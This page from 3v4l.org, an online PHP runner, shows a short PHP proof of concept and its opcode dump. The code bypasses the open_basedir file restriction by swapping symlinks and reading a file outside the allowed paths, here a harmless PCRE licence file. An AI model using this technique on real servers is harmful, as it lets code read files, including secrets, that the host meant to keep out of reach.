3v4l.org

run code in 300+ PHP versions simultaneously
<?php var_dump(ini_get('open_basedir')); var_dump(ini_set('open_basedir', '/tmp:/in:/etc:/usr')); # doesn't work var_dump(ini_get('open_basedir')); chdir('/tmp'); if (!is_dir('/tmp/a')) mkdir('/tmp/a/b/c/d/e/f/g/',0777,TRUE); else { unlink('foo'); unlink('bar'); } symlink('/tmp/a/b/c/d/e/f/g','foo'); ini_set('open_basedir','/tmp:bar/'); symlink('foo/../../../../../../','bar'); unlink('foo'); symlink('/tmp/','foo'); echo file_get_contents('bar/usr/share/doc/pcre/LICENCE');
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 27, Position 2 = 33
Branch analysis from position: 27
1 jumps found. (Code = 42) Position 1 = 39
Branch analysis from position: 39
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 33
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/75AX0
function name:  (null)
number of ops:  63
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   INIT_FCALL                                               'var_dump'
          1        INIT_FCALL                                               'ini_get'
          2        SEND_VAL                                                 'open_basedir'
          3        DO_ICALL                                         $0      
          4        SEND_VAR                                                 $0
          5        DO_ICALL                                                 
    4     6        INIT_FCALL                                               'var_dump'
          7        INIT_FCALL                                               'ini_set'
          8        SEND_VAL                                                 'open_basedir'
          9        SEND_VAL                                                 '%2Ftmp%3A%2Fin%3A%2Fetc%3A%2Fusr'
         10        DO_ICALL                                         $2      
         11        SEND_VAR                                                 $2
         12        DO_ICALL                                                 
    5    13        INIT_FCALL                                               'var_dump'
         14        INIT_FCALL                                               'ini_get'
         15        SEND_VAL                                                 'open_basedir'
         16        DO_ICALL                                         $4      
         17        SEND_VAR                                                 $4
         18        DO_ICALL                                                 
    7    19        INIT_FCALL                                               'chdir'
         20        SEND_VAL                                                 '%2Ftmp'
         21        DO_ICALL                                                 
    8    22        INIT_FCALL                                               'is_dir'
         23        SEND_VAL                                                 '%2Ftmp%2Fa'
         24        DO_ICALL                                         $7      
         25        BOOL_NOT                                         ~8      $7
         26      > JMPZ                                                     ~8, ->33
    9    27    >   INIT_FCALL                                               'mkdir'
         28        SEND_VAL                                                 '%2Ftmp%2Fa%2Fb%2Fc%2Fd%2Fe%2Ff%2Fg%2F'
         29        SEND_VAL                                                 511
         30        SEND_VAL                                                 <true>
         31        DO_ICALL                                                 
         32      > JMP                                                      ->39
   12    33    >   INIT_FCALL                                               'unlink'
         34        SEND_VAL                                                 'foo'
         35        DO_ICALL                                                 
   13    36        INIT_FCALL                                               'unlink'
         37        SEND_VAL                                                 'bar'
         38        DO_ICALL                                                 
   16    39    >   INIT_FCALL                                               'symlink'
         40        SEND_VAL                                                 '%2Ftmp%2Fa%2Fb%2Fc%2Fd%2Fe%2Ff%2Fg'
         41        SEND_VAL                                                 'foo'
         42        DO_ICALL                                                 
   17    43        INIT_FCALL                                               'ini_set'
         44        SEND_VAL                                                 'open_basedir'
         45        SEND_VAL                                                 '%2Ftmp%3Abar%2F'
         46        DO_ICALL                                                 
   18    47        INIT_FCALL                                               'symlink'
         48        SEND_VAL                                                 'foo%2F..%2F..%2F..%2F..%2F..%2F..%2F'
         49        SEND_VAL                                                 'bar'
         50        DO_ICALL                                                 
   19    51        INIT_FCALL                                               'unlink'
         52        SEND_VAL                                                 'foo'
         53        DO_ICALL                                                 
   20    54        INIT_FCALL                                               'symlink'
         55        SEND_VAL                                                 '%2Ftmp%2F'
         56        SEND_VAL                                                 'foo'
         57        DO_ICALL                                                 
   21    58        INIT_FCALL                                               'file_get_contents'
         59        SEND_VAL                                                 'bar%2Fusr%2Fshare%2Fdoc%2Fpcre%2FLICENCE'
         60        DO_ICALL                                         $17     
         61        ECHO                                                     $17
         62      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
167.93 ms | 1400 KiB | 31 Q